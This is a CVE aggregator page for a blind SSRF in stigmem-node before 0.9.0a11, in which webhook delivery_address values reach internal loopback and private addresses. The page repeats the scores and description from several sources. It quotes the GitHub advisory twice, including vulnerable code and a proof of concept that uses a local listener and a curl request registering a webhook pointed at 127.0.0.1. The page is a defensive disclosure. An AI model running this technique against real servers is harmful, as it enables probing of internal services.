CVE-2026-76239
Stigmem before 0.9.0a11 SSRF via unvalidated webhook delivery_address
Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
5.3
Stigmem before 0.9.0a11 SSRF via unvalidated webhook delivery_address
Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.
- Record
CVE-2026-76239- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-62403
5.3
Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.
- Record
EUVD-2026-62403- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5p3m-vhh6-9236
6.3
stigmem-node has blind SSRF via unvalidated webhook subscription delivery_address
Summary
Stigmem allows an authenticated user to create a webhook subscription with a user-controlled delivery_address. That value is stored and later used directly by the subscription delivery worker as the destination of a server-side HTTP POST request.
The codebase already contains an outbound SSRF guard, assert_safe_url(), which blocks loopback, private, link-local, and metadata-style destinations. However, the subscription webhook delivery path does not appear to apply this guard either when the subscription is created or immediately before delivery.
As a result, an authenticated user can configure a webhook destination such as http://127.0.0.1:9999/ssrf, trigger a matching fact-change event, and cause the Stigmem server to issue a server-side HTTP request to an internal loopback address.
Details
Relevant files:
node/src/stigmem_node/routes/subscriptions.py
node/src/stigmem_node/subscription_delivery.py
node/src/stigmem_node/models/subscriptions.py
node/src/stigmem_node/utility/net_util.py
SubscriptionCreateRequest accepts delivery_address as a plain string and validates only that it has a minimum length:
class SubscriptionCreateRequest(BaseModel):
target: str = Field(..., min_length=1)
on_change: str = Field(...)
delivery_address: str = Field(..., min_length=1)
The create route persists this value directly:
conn.execute(
"""INSERT INTO subscriptions
(id, subscriber_identity, target, target_kind, on_change,
delivery_address, idempotency_key, created_at, tenant_id)
VALUES (?,?,?,?,?,?,?,?,?)""",
(
sub_id,
identity.entity_uri,
req.target,
target_kind,
req.on_change,
req.delivery_address,
req.idempotency_key,
now,
identity.tenant_id,
),
)
The delivery worker later sends a server-side request to the stored value:
with httpx.Client(timeout=10.0) as client:
resp = client.post(
event["delivery_address"],
json=body,
headers={
"Content-Type": "application/json",
"X-Stigmem-Event-Id": event["id"],
},
)
The codebase already has an SSRF guard in node/src/stigmem_node/utility/net_util.py:
def assert_safe_url(
url: str,
*,
allow_schemes: frozenset[str] = frozenset({"https"}),
) -> None:
This guard blocks private, loopback, link-local, and metadata-style ranges, including 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.0.0/16.
However, I did not observe assert_safe_url() being called for subscription delivery_address during subscription creation or before webhook delivery.
PoC
Tested against stigmem-node 0.9.0a10.
Start an internal listener on the same host:
const http = require("http");
http.createServer((req, res) => {
console.log("HIT:", req.method, req.url);
console.log("HEADERS:", req.headers);
let body = "";
req.on("data", chunk => body += chunk);
req.on("end", () => {
console.log("BODY:", body);
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify({ ok: true, internal: true }));
});
}).listen(9999, "127.0.0.1", () => {
console.log("Listening on http://127.0.0.1:9999");
});
Start Stigmem locally:
cd node
pip install -e .
export STIGMEM_DB_PATH="$(pwd)/ssrf-test.db"
export STIGMEM_AUTH_REQUIRED=true
export STIGMEM_HOST=127.0.0.1
export STIGMEM_PORT=8765
export STIGMEM_SUBSCRIPTION_DELIVERY_SWEEP_S=1
export KEY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
stigmem auth bootstrap-key --key "$KEY"
stigmem-node
Confirm the service is running:
curl -i http://127.0.0.1:8765/healthz
Response:
HTTP/1.1 200 OK
{"status":"ok"}
Create a webhook subscription whose delivery_address points to loopback:
curl -i -X POST "http://127.0.0.1:8765/v1/subscriptions" \
-H "Authorization: Bearer $KEY" \
-H "Content-Type: application/json" \
-d '{
"target": "local",
"on_change": "webhook",
"delivery_address": "http://127.0.0.1:9999/ssrf",
…
- Record
GHSA-5p3m-vhh6-9236- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-20, CWE-918
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xq22-gq5h-mvx5
5.3
Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook...
Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.
- Record
GHSA-xq22-gq5h-mvx5- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
5.3
Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.
- Record
CVE-2026-76239- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
5.3
Stigmem before 0.9.0a11 SSRF via unvalidated webhook delivery_address
Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.
- Record
CVE-2026-76239- CVSS 4.0
- 5.3 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-5p3m-vhh6-9236
6.3
stigmem-node has blind SSRF via unvalidated webhook subscription delivery_address
Summary
Stigmem allows an authenticated user to create a webhook subscription with a user-controlled delivery_address. That value is stored and later used directly by the subscription delivery worker as the destination of a server-side HTTP POST request.
The codebase already contains an outbound SSRF guard, assert_safe_url(), which blocks loopback, private, link-local, and metadata-style destinations. However, the subscription webhook delivery path does not appear to apply this guard either when the subscription is created or immediately before delivery.
As a result, an authenticated user can configure a webhook destination such as http://127.0.0.1:9999/ssrf, trigger a matching fact-change event, and cause the Stigmem server to issue a server-side HTTP request to an internal loopback address.
Details
Relevant files:
node/src/stigmem_node/routes/subscriptions.py
node/src/stigmem_node/subscription_delivery.py
node/src/stigmem_node/models/subscriptions.py
node/src/stigmem_node/utility/net_util.py
SubscriptionCreateRequest accepts delivery_address as a plain string and validates only that it has a minimum length:
class SubscriptionCreateRequest(BaseModel):
target: str = Field(..., min_length=1)
on_change: str = Field(...)
delivery_address: str = Field(..., min_length=1)
The create route persists this value directly:
conn.execute(
"""INSERT INTO subscriptions
(id, subscriber_identity, target, target_kind, on_change,
delivery_address, idempotency_key, created_at, tenant_id)
VALUES (?,?,?,?,?,?,?,?,?)""",
(
sub_id,
identity.entity_uri,
req.target,
target_kind,
req.on_change,
req.delivery_address,
req.idempotency_key,
now,
identity.tenant_id,
),
)
The delivery worker later sends a server-side request to the stored value:
with httpx.Client(timeout=10.0) as client:
resp = client.post(
event["delivery_address"],
json=body,
headers={
"Content-Type": "application/json",
"X-Stigmem-Event-Id": event["id"],
},
)
The codebase already has an SSRF guard in node/src/stigmem_node/utility/net_util.py:
def assert_safe_url(
url: str,
*,
allow_schemes: frozenset[str] = frozenset({"https"}),
) -> None:
This guard blocks private, loopback, link-local, and metadata-style ranges, including 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.0.0/16.
However, I did not observe assert_safe_url() being called for subscription delivery_address during subscription creation or before webhook delivery.
PoC
Tested against stigmem-node 0.9.0a10.
Start an internal listener on the same host:
const http = require("http");
http.createServer((req, res) => {
console.log("HIT:", req.method, req.url);
console.log("HEADERS:", req.headers);
let body = "";
req.on("data", chunk => body += chunk);
req.on("end", () => {
console.log("BODY:", body);
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify({ ok: true, internal: true }));
});
}).listen(9999, "127.0.0.1", () => {
console.log("Listening on http://127.0.0.1:9999");
});
Start Stigmem locally:
cd node
pip install -e .
export STIGMEM_DB_PATH="$(pwd)/ssrf-test.db"
export STIGMEM_AUTH_REQUIRED=true
export STIGMEM_HOST=127.0.0.1
export STIGMEM_PORT=8765
export STIGMEM_SUBSCRIPTION_DELIVERY_SWEEP_S=1
export KEY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
stigmem auth bootstrap-key --key "$KEY"
stigmem-node
Confirm the service is running:
curl -i http://127.0.0.1:8765/healthz
Response:
HTTP/1.1 200 OK
{"status":"ok"}
Create a webhook subscription whose delivery_address points to loopback:
curl -i -X POST "http://127.0.0.1:8765/v1/subscriptions" \
-H "Authorization: Bearer $KEY" \
-H "Content-Type: application/json" \
-d '{
"target": "local",
"on_change": "webhook",
"delivery_address": "http://127.0.0.1:9999/ssrf",
…
- Record
GHSA-5p3m-vhh6-9236- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-20, CWE-918
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
stigmem-nodePyPI |
before 0.9.0a11 | 0.9.0a11 |
stigmem-nodePyPI |
before 0.9.0a11, plus listed versions 0.9.0a10.9.0a100.9.0a20.9.0a30.9.0a4 Show 5 moreShow less0.9.0a50.9.0a60.9.0a70.9.0a80.9.0a9 |
0.9.0a11 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-76239 is a medium vulnerability (CVSS 5.3) in Eidetic-labs Stigmem-node, published August 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 25th percentile. Fixed in stigmem-node 0.9.0a11.
References
github.com/eidetic-labs/stigmem/security/advisories/GHSA-5p3m-vhh6-9236
vulncheck.com/advisories/stigmem-before-0a11-ssrf-via-unvalidated-webhook-delivery-address
github.com/eidetic-labs/stigmem/pull/726
github.com/eidetic-labs/stigmem/commit/11637401d50629fef040382aee5af4571842c152
github.com/eidetic-labs/stigmem/commit/2ff5be29291d1c042e00d57c5f9ef93650cc90e0
github.com/eidetic-labs/stigmem/releases/tag/v0.9.0a11
Left out here: the rest of 2 source descriptions. The JSON record has them.